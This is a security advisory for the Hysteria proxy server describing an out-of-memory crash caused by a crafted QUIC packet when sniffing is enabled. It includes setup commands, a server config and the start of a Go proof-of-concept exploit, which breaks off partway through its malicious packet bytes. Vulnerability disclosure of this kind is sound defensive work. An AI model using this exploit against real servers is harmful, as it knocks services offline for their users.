GHSA-9fw6-xgg2-mq9q

### Summary A specially constructed quic package can crash the server OOM when the sniff is enabled. ### Details When the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM. ### PoC ``` openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj "/CN=localhost" 2>/dev/null ``` server.yaml ``` listen: :8443 tls: cert: localhost.crt key: localhost.key auth: type: password password: mypassword sniff: enable: true outbounds: - name: my_direct type: direct default: true ``` poc.go ``` package main import ( "flag" "fmt" "log" "net" "time" "github.com/apernet/hysteria/core/v2/client" ) func main() { serverAddrStr := flag.String("server", "127.0.0.1:8443", "Hysteria server address") password := flag.String("password", "mypassword", "Hysteria server password") flag.Parse() serverAddr, _ := net.ResolveUDPAddr("udp", *serverAddrStr) c, _, err := client.NewClient(&client.Config{ ServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true}, }) if err != nil { log.Fatalf("Failed to connect: %v", err) } defer c.Close() var maliciousQUICPacket = []byte{ 0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0, 0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66,